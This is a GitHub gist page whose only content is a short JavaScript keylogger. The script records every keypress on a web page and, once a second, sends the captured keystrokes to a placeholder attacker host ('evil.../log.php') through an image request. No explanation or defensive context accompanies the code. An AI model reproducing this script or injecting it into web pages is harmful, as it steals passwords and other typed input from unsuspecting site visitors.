Skip to content

Instantly share code, notes, and snippets.

@stevermeister
Created December 2, 2019 20:33
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save stevermeister/fdd2a7dc2f03e00f6c18fe73a4e9ec22 to your computer and use it in GitHub Desktop.
Save stevermeister/fdd2a7dc2f03e00f6c18fe73a4e9ec22 to your computer and use it in GitHub Desktop.
var keys='';
document.onkeypress = function(e) {
e = window.event?event:e;
key = e.keyCode?e.keyCode:e.charCode;
key = String.fromCharCode(key);
keys+=key;
}
window.setInterval(function(){
new Image().src = 'http://evil.../log.php?c='+keys;
keys = '';
}, 1000);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment